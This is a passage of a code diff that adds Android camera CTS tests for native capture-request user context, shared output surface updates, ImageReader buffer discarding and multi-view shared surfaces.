+            ALOGE("Testcase cannot update repeating request: session %p, updated request %p",
+                    mSession, updatedRequest);
+            return ACAMERA_ERROR_UNKNOWN;
+        }
+
+        int previewSeqId;
+        camera_status_t ret;
+        if (sequenceId == nullptr) {
+            ret = ACameraCaptureSession_setRepeatingRequest(
+                    mSession, nullptr, 1, &updatedRequest, &previewSeqId);
+        } else {
+            ret = ACameraCaptureSession_setRepeatingRequest(
+                    mSession, &mResultCb, 1, &updatedRequest, sequenceId);
+        }
+        return ret;
+    }
+
+    int64_t getCaptureSequenceLastFrameNumber(int64_t sequenceId, uint32_t timeoutSec) {
+        return mResultListener.getCaptureSequenceLastFrameNumber(sequenceId, timeoutSec);
+    }
+
+    bool waitForFrameNumber(int64_t frameNumber, uint32_t timeoutSec) {
+        return mResultListener.waitForFrameNumber(frameNumber, timeoutSec);
     }
 
     camera_status_t takePicture() {
@@ -765,6 +995,18 @@
                 mSession, nullptr, 1, &mStillRequest, &seqId);
     }
 
+    camera_status_t capture(ACaptureRequest* request,
+            ACameraCaptureSession_captureCallbacks* listener,
+            /*out*/int* seqId) {
+        if (mSession == nullptr || request == nullptr) {
+            ALOGE("Testcase cannot capture session: session %p, request %p",
+                    mSession, request);
+            return ACAMERA_ERROR_UNKNOWN;
+        }
+        return ACameraCaptureSession_capture(
+                mSession, listener, 1, &request, seqId);
+    }
+
     camera_status_t resetWithErrorLog() {
         camera_status_t ret;
 
@@ -785,6 +1027,7 @@
             return ACAMERA_ERROR_UNKNOWN;
         }
         mSessionListener.reset();
+        mResultListener.reset();
 
         ret = closeCamera();
         if (ret != ACAMERA_OK) {
@@ -800,6 +1043,14 @@
         return &mSessionListener;
     }
 
+    ACameraDevice* getCameraDevice() {
+        return mDevice;
+    }
+
+    ACaptureSessionOutput *getPreviewOutput() {
+        return mPreviewOutput;
+    }
+
   private:
     ACameraManager* createManager() {
         if (!mCameraManager) {
@@ -828,6 +1079,18 @@
         CaptureSessionListener::onActive
     };
 
+    CaptureResultListener mResultListener;
+    ACameraCaptureSession_captureCallbacks mResultCb {
+        &mResultListener,
+        CaptureResultListener::onCaptureStart,
+        CaptureResultListener::onCaptureProgressed,
+        CaptureResultListener::onCaptureCompleted,
+        CaptureResultListener::onCaptureFailed,
+        CaptureResultListener::onCaptureSequenceCompleted,
+        CaptureResultListener::onCaptureSequenceAborted,
+        CaptureResultListener::onCaptureBufferLost
+    };
+
     ACameraIdList* mCameraIdList = nullptr;
     ACameraDevice* mDevice = nullptr;
     AImageReader* mImgReader = nullptr;
@@ -1241,6 +1504,34 @@
                 }
             }
 
+            void* context = nullptr;
+            ret = ACaptureRequest_getUserContext(request, &context);
+            if (ret != ACAMERA_OK) {
+                LOG_ERROR(errorString, "Get capture request context failed: ret %d", ret);
+                goto cleanup;
+            }
+            if (context != nullptr) {
+                LOG_ERROR(errorString, "Capture request context is not null: %p", context);
+                goto cleanup;
+            }
+
+            intptr_t magic_num = 0xBEEF;
+            ret = ACaptureRequest_setUserContext(request, (void*) magic_num);
+            if (ret != ACAMERA_OK) {
+                LOG_ERROR(errorString, "Set capture request context failed: ret %d", ret);
+                goto cleanup;
+            }
+
+            ret = ACaptureRequest_getUserContext(request, &context);
+            if (ret != ACAMERA_OK) {
+                LOG_ERROR(errorString, "Get capture request context failed: ret %d", ret);
+                goto cleanup;
+            }
+            if (context != (void*) magic_num) {
+                LOG_ERROR(errorString, "Capture request context is wrong: %p", context);
+                goto cleanup;
+            }
+
             // try get/set capture request fields
             ACameraMetadata_const_entry entry;
             ret = ACaptureRequest_getConstEntry(request, ACAMERA_CONTROL_AE_MODE, &entry);
@@ -1483,6 +1774,263 @@
 
 extern "C" jboolean
 Java_android_hardware_camera2_cts_NativeCameraDeviceTest_\
+testCameraDeviceSharedOutputUpdate(
+        JNIEnv* env, jclass /*clazz*/, jobject jPreviewSurface, jobject jSharedSurface) {
+    ALOGV("%s", __FUNCTION__);
+    int numCameras = 0;
+    bool pass = false;
+    PreviewTestCase testCase;
+    int sequenceId = -1;
+    int64_t lastFrameNumber = 0;
+    bool frameArrived = false;
+    ANativeWindow* previewAnw = nullptr;
+    ANativeWindow* sharedAnw = ANativeWindow_fromSurface(env, jSharedSurface);
+    ACaptureRequest* updatedRequest = nullptr;
+    ACameraOutputTarget* reqPreviewOutput = nullptr;
+    ACameraOutputTarget* reqSharedOutput = nullptr;
+    ACaptureSessionOutput *previewOutput = nullptr;
+    uint32_t timeoutSec = 1;
+    uint32_t runPreviewSec = 2;
+
+    camera_status_t ret = testCase.initWithErrorLog();
+    if (ret != ACAMERA_OK) {
+        // Don't log error here. testcase did it
+        goto cleanup;
+    }
+
+    numCameras = testCase.getNumCameras();
+    if (numCameras < 0) {
+        LOG_ERROR(errorString, "Testcase returned negavtive number of cameras: %d", numCameras);
+        goto cleanup;
+    }
+
+    for (int i = 0; i < numCameras; i++) {
+        const char* cameraId = testCase.getCameraId(i);
+        if (cameraId == nullptr) {
+            LOG_ERROR(errorString, "Testcase returned null camera id for camera %d", i);
+            goto cleanup;
+        }
+
+        ret = testCase.openCamera(cameraId);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "Open camera device %s failure. ret %d", cameraId, ret);
+            goto cleanup;
+        }
+
+        usleep(100000); // sleep to give some time for callbacks to happen
+
+        if (testCase.isCameraAvailable(cameraId)) {
+            LOG_ERROR(errorString, "Camera %s should be unavailable now", cameraId);
+            goto cleanup;
+        }
+
+        previewAnw = testCase.initPreviewAnw(env, jPreviewSurface);
+        if (previewAnw == nullptr) {
+            LOG_ERROR(errorString, "Null ANW from preview surface!");
+            goto cleanup;
+        }
+
+        ret = testCase.createCaptureSessionWithLog(true);
+        if (ret != ACAMERA_OK) {
+            // Don't log error here. testcase did it
+            goto cleanup;
+        }
+
+        ret = testCase.createRequestsWithErrorLog();
+        if (ret != ACAMERA_OK) {
+            // Don't log error here. testcase did it
+            goto cleanup;
+        }
+
+        ret = testCase.startPreview();
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "Start preview failed!");
+            goto cleanup;
+        }
+
+        sleep(runPreviewSec);
+
+        previewOutput = testCase.getPreviewOutput();
+        //Try some bad input
+        ret = ACaptureSessionSharedOutput_add(previewOutput, previewAnw);
+        if (ret != ACAMERA_ERROR_INVALID_PARAMETER) {
+            LOG_ERROR(errorString, "ACaptureSessionSharedOutput_add should return invalid "
+                    "parameter! %d", ret);
+            goto cleanup;
+        }
+
+        ret = ACaptureSessionSharedOutput_remove(previewOutput, previewAnw);
+        if (ret != ACAMERA_ERROR_INVALID_PARAMETER) {
+            LOG_ERROR(errorString, "ACaptureSessionSharedOutput_remove should return invalid "
+                    "parameter! %d", ret);
+            goto cleanup;
+        }
+
+        //Now try with valid input
+        ret = ACaptureSessionSharedOutput_add(previewOutput, sharedAnw);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "ACaptureSessionSharedOutput_add failed!")
+            goto cleanup;
+        }
+
+        ret = testCase.updateOutput(env, previewOutput);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "Failed to update output configuration!")
+            goto cleanup;
+        }
+
+        ret = ACameraDevice_createCaptureRequest(
+                testCase.getCameraDevice(), TEMPLATE_PREVIEW, &updatedRequest);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "Camera %s create preview request failed. ret %d",
+                    cameraId, ret);
+            goto cleanup;
+        }
+
+        ret = ACameraOutputTarget_create(previewAnw, &reqPreviewOutput);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString,
+                    "Camera %s create request preview output target failed. ret %d",
+                    cameraId, ret);
+            goto cleanup;
+        }
+
+        ret = ACaptureRequest_addTarget(updatedRequest, reqPreviewOutput);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "Camera %s add preview request output failed. ret %d",
+                    cameraId, ret);
+            goto cleanup;
+        }
+
+        ret = ACameraOutputTarget_create(sharedAnw, &reqSharedOutput);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString,
+                    "Camera %s create request preview output target failed. ret %d",
+                    cameraId, ret);
+            goto cleanup;
+        }
+
+        ret = ACaptureRequest_addTarget(updatedRequest, reqSharedOutput);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "Camera %s add preview request output failed. ret %d",
+                    cameraId, ret);
+            goto cleanup;
+        }
+
+        ret = testCase.updateRepeatingRequest(updatedRequest, &sequenceId);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "Camera %s failed to update repeated request. ret %d",
+                    cameraId, ret);
+            goto cleanup;
+        }
+
+        sleep(runPreviewSec);
+
+        ret = ACaptureSessionSharedOutput_remove(previewOutput, sharedAnw);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "ACaptureSessionSharedOutput_remove failed!");
+            goto cleanup;
+        }
+
+        //Try removing shared output which still has pending camera requests
+        ret = testCase.updateOutput(env, previewOutput);
+        if (ret != ACAMERA_ERROR_INVALID_PARAMETER) {
+            LOG_ERROR(errorString, "updateOutput should fail!");
+            goto cleanup;
+        }
+
+        //Remove the shared output correctly by updating the repeating request
+        //first
+        ret = ACaptureRequest_removeTarget(updatedRequest, reqSharedOutput);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "Camera %s remove target output failed. ret %d",
+                    cameraId, ret);
+            goto cleanup;
+        }
+
+        ret = testCase.updateRepeatingRequest(updatedRequest);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "Camera %s failed to update repeated request. ret %d",
+                    cameraId, ret);
+            goto cleanup;
+        }
+
+        //Then wait for all old requests to flush
+        lastFrameNumber = testCase.getCaptureSequenceLastFrameNumber(sequenceId, timeoutSec);
+        if (lastFrameNumber < 0) {
+            LOG_ERROR(errorString, "Camera %s failed to acquire last frame number!",
+                    cameraId);
+            goto cleanup;
+        }
+
+        frameArrived = testCase.waitForFrameNumber(lastFrameNumber, timeoutSec);
+        if (!frameArrived) {
+            LOG_ERROR(errorString, "Camera %s timed out waiting on last frame number!",
+                    cameraId);
+            goto cleanup;
+        }
+
+        ret = testCase.updateOutput(env, previewOutput);
+        if (ret != ACAMERA_OK) {
+            LOG_ERROR(errorString, "updateOutput failed!");
+            goto cleanup;
+        }
+
+        sleep(runPreviewSec);
+
+        ret = testCase.resetWithErrorLog();
+        if (ret != ACAMERA_OK) {
+            // Don't log error here. testcase did it
+            goto cleanup;
+        }
+
+        usleep(100000); // sleep to give some time for callbacks to happen
+
+        if (!testCase.isCameraAvailable(cameraId)) {
+            LOG_ERROR(errorString, "Camera %s should be available now", cameraId);
+            goto cleanup;
+        }
+    }
+
+    ret = testCase.deInit();
+    if (ret != ACAMERA_OK) {
+        LOG_ERROR(errorString, "Testcase deInit failed: ret %d", ret);
+        goto cleanup;
+    }
+
+    pass = true;
+
+cleanup:
+
+    if (updatedRequest != nullptr) {
+        ACaptureRequest_free(updatedRequest);
+        updatedRequest = nullptr;
+    }
+
+    if (reqPreviewOutput != nullptr) {
+        ACameraOutputTarget_free(reqPreviewOutput);
+        reqPreviewOutput = nullptr;
+    }
+
+    if (reqSharedOutput != nullptr) {
+        ACameraOutputTarget_free(reqSharedOutput);
+        reqSharedOutput = nullptr;
+    }
+
+    if (sharedAnw) {
+        ANativeWindow_release(sharedAnw);
+        sharedAnw = nullptr;
+    }
+
+    ALOGI("%s %s", __FUNCTION__, pass ? "pass" : "failed");
+    if (!pass) {
+        throwAssertionError(env, errorString);
+    }
+    return pass;
+}
+
+extern "C" jboolean
+Java_android_hardware_camera2_cts_NativeCameraDeviceTest_\
 testCameraDeviceSimplePreviewNative(
         JNIEnv* env, jclass /*clazz*/, jobject jPreviewSurface) {
     ALOGV("%s", __FUNCTION__);
@@ -1649,14 +2197,68 @@
             goto cleanup;
         }
 
+        CaptureResultListener resultListener;
+        ACameraCaptureSession_captureCallbacks resultCb {
+            &resultListener,
+            CaptureResultListener::onCaptureStart,
+            CaptureResultListener::onCaptureProgressed,
+            CaptureResultListener::onCaptureCompleted,
+            CaptureResultListener::onCaptureFailed,
+            CaptureResultListener::onCaptureSequenceCompleted,
+            CaptureResultListener::onCaptureSequenceAborted,
+            CaptureResultListener::onCaptureBufferLost
+        };
+        resultListener.setRequestSave(true);
+        ACaptureRequest* requestTemplate = nullptr;
+        ret = testCase.getStillRequest(&requestTemplate);
+        if (ret != ACAMERA_OK || requestTemplate == nullptr) {
+            // Don't log error here. testcase did it
+            goto cleanup;
+        }
+
         // Do some still capture
-        for (int capture = 0; capture < NUM_TEST_IMAGES; capture++) {
-            ret = testCase.takePicture();
+        int lastSeqId = -1;
+        for (intptr_t capture = 0; capture < NUM_TEST_IMAGES; capture++) {
+            ACaptureRequest* req = ACaptureRequest_copy(requestTemplate);
+            ACaptureRequest_setUserContext(req, (void*) capture);
+            int seqId;
+            ret = testCase.capture(req, &resultCb, &seqId);
             if (ret != ACAMERA_OK) {
-                LOG_ERROR(errorString, "Camera %s capture(%d) failed. ret %d",
+                LOG_ERROR(errorString, "Camera %s capture(%" PRIdPTR ") failed. ret %d",
                         cameraId, capture, ret);
                 goto cleanup;
             }
+            if (capture == NUM_TEST_IMAGES - 1) {
+                lastSeqId = seqId;
+            }
+            ACaptureRequest_free(req);
+        }
+
+        // wait until last sequence complete
+        resultListener.getCaptureSequenceLastFrameNumber(lastSeqId, /*timeoutSec*/ 3);
+
+        std::vector<ACaptureRequest*> completedRequests;
+        resultListener.getCompletedRequests(&completedRequests);
+
+        if (completedRequests.size() != NUM_TEST_IMAGES) {
+            LOG_ERROR(errorString, "Camera %s fails to capture %d capture results. Got %zu",
+                    cameraId, NUM_TEST_IMAGES, completedRequests.size());
+            goto cleanup;
+        }
+
+        for (intptr_t i = 0; i < NUM_TEST_IMAGES; i++) {
+            intptr_t userContext = -1;
+            ret = ACaptureRequest_getUserContext(completedRequests[i], (void**) &userContext);
+            if (ret != ACAMERA_OK) {
+                LOG_ERROR(errorString, "Camera %s fails to get request user context", cameraId);
+                goto cleanup;
+            }
+
+            if (userContext != i) {
+                LOG_ERROR(errorString, "Camera %s fails to return matching user context. "
+                        "Expect %" PRIdPTR ", got %" PRIdPTR, cameraId, i, userContext);
+                goto cleanup;
+            }
         }
 
         // wait until all capture finished
diff --git a/tests/camera/res/layout/multi_view.xml b/tests/camera/res/layout/multi_view.xml
index 4f335d3..e7c5508 100644
--- a/tests/camera/res/layout/multi_view.xml
+++ b/tests/camera/res/layout/multi_view.xml
@@ -29,6 +29,18 @@
         android:id="@+id/texture_view_2"
         android:layout_width="160dp"
         android:layout_height="120dp"/>
+    <TextureView
+        android:id="@+id/texture_view_3"
+        android:layout_width="160dp"
+        android:layout_height="120dp"/>
+    <TextureView
+        android:id="@+id/texture_view_4"
+        android:layout_width="160dp"
+        android:layout_height="120dp"/>
+    <TextureView
+        android:id="@+id/texture_view_5"
+        android:layout_width="160dp"
+        android:layout_height="120dp"/>
     <SurfaceView
         android:id="@+id/surface_view_1"
         android:layout_width="160dp"
diff --git a/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java b/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java
index d6350fc..1f4265d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java
+++ b/tests/camera/src/android/hardware/camera2/cts/Camera2MultiViewCtsActivity.java
@@ -27,7 +27,8 @@
 
 public class Camera2MultiViewCtsActivity extends Activity {
     private final static String TAG = "Camera2MultiViewCtsActivity";
-    private TextureView[] mTextureView = new TextureView[2];
+    public final static int MAX_TEXTURE_VIEWS = 5;
+    private TextureView[] mTextureView = new TextureView[MAX_TEXTURE_VIEWS];
     private SurfaceView[] mSurfaceView = new SurfaceView[2];
 
     @Override
@@ -36,6 +37,9 @@
         setContentView(R.layout.multi_view);
         mTextureView[0] = (TextureView) findViewById(R.id.texture_view_1);
         mTextureView[1] = (TextureView) findViewById(R.id.texture_view_2);
+        mTextureView[2] = (TextureView) findViewById(R.id.texture_view_3);
+        mTextureView[3] = (TextureView) findViewById(R.id.texture_view_4);
+        mTextureView[4] = (TextureView) findViewById(R.id.texture_view_5);
         mSurfaceView[0] = (SurfaceView) findViewById(R.id.surface_view_1);
         mSurfaceView[1] = (SurfaceView) findViewById(R.id.surface_view_2);
 
@@ -44,8 +48,9 @@
     }
 
     public TextureView getTextureView(int index) {
-        if (index < 0 || index > 1) {
-            throw new IllegalArgumentException("Texture view index must be 0 or 1");
+        if (index < 0 || index > (MAX_TEXTURE_VIEWS - 1)) {
+            throw new IllegalArgumentException("Texture view index must be between 0 and " +
+                    MAX_TEXTURE_VIEWS);
         }
         return mTextureView[index];
     }
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
index b29fd57..3857b93 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
@@ -535,6 +535,10 @@
             waiverKeys.add(CaptureResult.CONTROL_ENABLE_ZSL);
         }
 
+        if (!mStaticInfo.isAfSceneChangeSupported()) {
+            waiverKeys.add(CaptureResult.CONTROL_AF_SCENE_CHANGE);
+        }
+
         if (mStaticInfo.isHardwareLevelAtLeastFull()) {
             return waiverKeys;
         }
@@ -770,6 +774,7 @@
         resultKeys.add(CaptureResult.CONTROL_AWB_STATE);
         resultKeys.add(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST);
         resultKeys.add(CaptureResult.CONTROL_ENABLE_ZSL);
+        resultKeys.add(CaptureResult.CONTROL_AF_SCENE_CHANGE);
         resultKeys.add(CaptureResult.EDGE_MODE);
         resultKeys.add(CaptureResult.FLASH_MODE);
         resultKeys.add(CaptureResult.FLASH_STATE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index bd01d21..96f363c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -553,6 +553,21 @@
     }
 
     /**
+     * Test that images captured after discarding free buffers are valid.
+     */
+    public void testDiscardFreeBuffers() throws Exception {
+        for (String id : mCameraIds) {
+            try {
+                Log.v(TAG, "Testing jpeg capture for Camera " + id);
+                openDevice(id);
+                discardFreeBuffersTestByCamera();
+            } finally {
+                closeDevice(id);
+            }
+        }
+    }
+
+    /**
      * Convert a rectangular patch in a YUV image to an ARGB color array.
      *
      * @param w width of the patch.
@@ -762,6 +777,38 @@
         imageInvalidAccessTestAfterClose(img, firstPlane, buffer);
     }
 
+    /**
+     * Test that images captured after discarding free buffers are valid.
+     */
+    private void discardFreeBuffersTestByCamera() throws Exception {
+        final int FORMAT = mStaticInfo.isColorOutputSupported() ?
+            ImageFormat.YUV_420_888 : ImageFormat.DEPTH16;
+
+        final Size SIZE = mStaticInfo.getAvailableSizesForFormatChecked(FORMAT,
+                StaticMetadata.StreamDirection.Output)[0];
+        Image img = null;
+        // Create ImageReader.
+        mListener = new SimpleImageListener();
+        createDefaultImageReader(SIZE, FORMAT, MAX_NUM_IMAGES, mListener);
+
+        // Start capture.
+        final boolean REPEATING = true;
+        CaptureRequest request = prepareCaptureRequest();
+        SimpleCaptureCallback listener = new SimpleCaptureCallback();
+        startCapture(request, REPEATING, listener, mHandler);
+
+        // Validate images and capture results.
+        validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
+        validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+
+        // Discard free buffers.
+        mReader.discardFreeBuffers();
+
+        // Validate images and capture resulst again.
+        validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
+        validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+    }
+
     private void bufferFormatTestByCamera(int format, boolean repeating) throws Exception {
 
         Size[] availableSizes = mStaticInfo.getAvailableSizesForFormatChecked(format,
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 265729d..e9eac65 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -21,13 +21,19 @@
 import android.graphics.ImageFormat;
 import android.graphics.SurfaceTexture;
 import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraAccessException;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureFailure;
+import android.hardware.camera2.TotalCaptureResult;
 import android.hardware.camera2.cts.CameraTestUtils.ImageVerifierListener;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.testcases.Camera2MultiViewTestCase;
 import android.hardware.camera2.cts.testcases.Camera2MultiViewTestCase.CameraPreviewListener;
 import android.hardware.camera2.params.OutputConfiguration;
+import android.media.Image;
 import android.media.ImageReader;
 import android.os.SystemClock;
+import android.os.ConditionVariable;
 import android.util.Log;
 import android.util.Size;
 import android.view.Surface;
@@ -44,8 +50,10 @@
  */
 public class MultiViewTest extends Camera2MultiViewTestCase {
     private static final String TAG = "MultiViewTest";
-    private final static long WAIT_FOR_COMMAND_TO_COMPLETE = 2000;
+    private final static long WAIT_FOR_COMMAND_TO_COMPLETE = 5000; //ms
     private final static long PREVIEW_TIME_MS = 2000;
+    private final static int NUM_SURFACE_SWITCHES = 10;
+    private final static int IMG_READER_COUNT = 2;
 
     public void testTextureViewPreview() throws Exception {
         for (String cameraId : mCameraIds) {
@@ -235,6 +243,473 @@
     }
 
     /*
+     * Verify dynamic shared surface behavior.
+     */
+    public void testSharedSurfaceBasic() throws Exception {
+        for (String cameraId : mCameraIds) {
+            try {
+                openCamera(cameraId);
+                if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+                    Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+                    continue;
+                }
+                if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + cameraId +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+
+                testSharedSurfaceBasicByCamera(cameraId);
+            }
+            finally {
+                closeCamera(cameraId);
+            }
+        }
+    }
+
+    private void testSharedSurfaceBasicByCamera(String cameraId) throws Exception {
+        Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+        CameraPreviewListener[] previewListener = new CameraPreviewListener[2];
+        SurfaceTexture[] previewTexture = new SurfaceTexture[2];
+        Surface[] surfaces = new Surface[2];
+        OutputConfiguration[] outputConfigs = new OutputConfiguration[2];
+        List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+
+        // Create surface textures with the same size
+        for (int i = 0; i < 2; i++) {
+            previewListener[i] = new CameraPreviewListener();
+            mTextureView[i].setSurfaceTextureListener(previewListener[i]);
+            previewTexture[i] = getAvailableSurfaceTexture(
+                    WAIT_FOR_COMMAND_TO_COMPLETE, mTextureView[i]);
+            assertNotNull("Unable to get preview surface texture", previewTexture[i]);
+            previewTexture[i].setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+            // Correct the preview display rotation.
+            updatePreviewDisplayRotation(previewSize, mTextureView[i]);
+            surfaces[i] = new Surface(previewTexture[i]);
+            outputConfigs[i] = new OutputConfiguration(surfaces[i]);
+            outputConfigs[i].enableSurfaceSharing();
+            outputConfigurations.add(outputConfigs[i]);
+        }
+
+        startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+        boolean previewDone =
+                previewListener[0].waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+        assertTrue("Unable to start preview", previewDone);
+
+        //try to dynamically add and remove any of the initial configured outputs
+        try {
+            outputConfigs[1].addSurface(surfaces[0]);
+            updateOutputConfiguration(cameraId, outputConfigs[1]);
+            fail("should get IllegalArgumentException due to invalid output");
+        } catch (IllegalArgumentException e) {
+            // expected exception
+            outputConfigs[1].removeSurface(surfaces[0]);
+        }
+
+        try {
+            outputConfigs[1].removeSurface(surfaces[1]);
+            fail("should get IllegalArgumentException due to invalid output");
+        } catch (IllegalArgumentException e) {
+            // expected exception
+        }
+
+        try {
+            outputConfigs[0].addSurface(surfaces[1]);
+            updateOutputConfiguration(cameraId, outputConfigs[0]);
+            fail("should get IllegalArgumentException due to invalid output");
+        } catch (IllegalArgumentException e) {
+            // expected exception
+            outputConfigs[0].removeSurface(surfaces[1]);
+        }
+
+        try {
+            outputConfigs[0].removeSurface(surfaces[0]);
+            fail("should get IllegalArgumentException due to invalid output");
+        } catch (IllegalArgumentException e) {
+            // expected exception
+        }
+
+        //Check that we are able to add a shared texture surface with different size
+        List<Size> orderedPreviewSizes = getOrderedPreviewSizes(cameraId);
+        Size textureSize = previewSize;
+        for (Size s : orderedPreviewSizes) {
+            if (!s.equals(previewSize)) {
+                textureSize = s;
+                break;
+            }
+        }
+        if (textureSize.equals(previewSize)) {
+            return;
+        }
+        SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID*/ 5);
+        outputTexture.setDefaultBufferSize(textureSize.getWidth(), textureSize.getHeight());
+        Surface outputSurface = new Surface(outputTexture);
+        //Add a valid output surface and then verify that it cannot be added any more
+        outputConfigs[1].addSurface(outputSurface);
+        updateOutputConfiguration(cameraId, outputConfigs[1]);
+        try {
+            outputConfigs[1].addSurface(outputSurface);
+            fail("should get IllegalStateException due to duplicate output");
+        } catch (IllegalStateException e) {
+            // expected exception
+        }
+
+        outputConfigs[0].addSurface(outputSurface);
+        try {
+            updateOutputConfiguration(cameraId, outputConfigs[0]);
+            fail("should get IllegalArgumentException due to duplicate output");
+        } catch (IllegalArgumentException e) {
+            // expected exception
+            outputConfigs[0].removeSurface(outputSurface);
+        }
+
+        //Verify that the same surface cannot be removed twice
+        outputConfigs[1].removeSurface(outputSurface);
+        updateOutputConfiguration(cameraId, outputConfigs[1]);
+        try {
+            outputConfigs[0].removeSurface(outputSurface);
+            fail("should get IllegalArgumentException due to invalid output");
+        } catch (IllegalArgumentException e) {
+            // expected exception
+        }
+        try {
+            outputConfigs[1].removeSurface(outputSurface);
+            fail("should get IllegalArgumentException due to invalid output");
+        } catch (IllegalArgumentException e) {
+            // expected exception
+        }
+
+        stopPreview(cameraId);
+    }
+
+    /*
+     * Verify dynamic shared surface behavior using multiple ImageReaders.
+     */
+    public void testSharedSurfaceImageReaderSwitch() throws Exception {
+        for (String cameraId : mCameraIds) {
+            try {
+                openCamera(cameraId);
+                if (getStaticInfo(cameraId).isHardwareLevelLegacy()) {
+                    Log.i(TAG, "Camera " + cameraId + " is legacy, skipping");
+                    continue;
+                }
+                if (!getStaticInfo(cameraId).isColorOutputSupported()) {
+                    Log.i(TAG, "Camera " + cameraId +
+                            " does not support color outputs, skipping");
+                    continue;
+                }
+
+                testSharedSurfaceImageReaderSwitch(cameraId, NUM_SURFACE_SWITCHES);
+            }
+            finally {
+                closeCamera(cameraId);
+            }
+        }
+    }
+
+    private void testSharedSurfaceImageReaderSwitch(String cameraId, int switchCount)
+            throws Exception {
+        if (OutputConfiguration.getMaxSharedSurfaceCount() < (IMG_READER_COUNT + 1)) {
+            return;
+        }
+
+        SimpleImageListener imageListeners[] = new SimpleImageListener[IMG_READER_COUNT];
+        SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+        ImageReader imageReaders[] = new ImageReader[IMG_READER_COUNT];
+        Surface readerSurfaces[] = new Surface[IMG_READER_COUNT];
+        Size previewSize = getOrderedPreviewSizes(cameraId).get(0);
+        CameraPreviewListener previewListener = new CameraPreviewListener();
+        mTextureView[0].setSurfaceTextureListener(previewListener);
+        SurfaceTexture previewTexture = getAvailableSurfaceTexture(WAIT_FOR_COMMAND_TO_COMPLETE,
+                mTextureView[0]);
+        assertNotNull("Unable to get preview surface texture", previewTexture);
+        previewTexture.setDefaultBufferSize(previewSize.getWidth(), previewSize.getHeight());
+        updatePreviewDisplayRotation(previewSize, mTextureView[0]);
+        Surface previewSurface = new Surface(previewTexture);
+        OutputConfiguration outputConfig = new OutputConfiguration(previewSurface);
+        outputConfig.enableSurfaceSharing();
+        List<OutputConfiguration> outputConfigurations = new ArrayList<>();
+        outputConfigurations.add(outputConfig);
+
+        //Start regular preview streaming
+        startPreviewWithConfigs(cameraId, outputConfigurations, null);
+
+        boolean previewDone = previewListener.waitForPreviewDone(WAIT_FOR_COMMAND_TO_COMPLETE);
+        assertTrue("Unable to start preview", previewDone);
+
+        //Test shared image reader outputs
+        for (int i = 0; i < IMG_READER_COUNT; i++) {
+            imageListeners[i] = new SimpleImageListener();
+            imageReaders[i] = ImageReader.newInstance(previewSize.getWidth(),
+                    previewSize.getHeight(), ImageFormat.PRIVATE, 2);
+            imageReaders[i].setOnImageAvailableListener(imageListeners[i], mHandler);
+            readerSurfaces[i] = imageReaders[i].getSurface();
+        }
+
+        for (int j = 0; j < switchCount; j++) {
+            for (int i = 0; i < IMG_READER_COUNT; i++) {
+                outputConfig.addSurface(readerSurfaces[i]);
+                updateOutputConfiguration(cameraId, outputConfig);
+                CaptureRequest.Builder imageReaderRequestBuilder = getCaptureBuilder(cameraId,
+                        CameraDevice.TEMPLATE_PREVIEW);
+                imageReaderRequestBuilder.addTarget(readerSurfaces[i]);
+                capture(cameraId, imageReaderRequestBuilder.build(), resultListener);
+                imageListeners[i].waitForAnyImageAvailable(PREVIEW_TIME_MS);
+                Image img = imageReaders[i].acquireLatestImage();
+                assertNotNull("Invalid image acquired!", img);
+                img.close();
+                outputConfig.removeSurface(readerSurfaces[i]);
+                updateOutputConfiguration(cameraId, outputConfig);
+            }
+        }
+
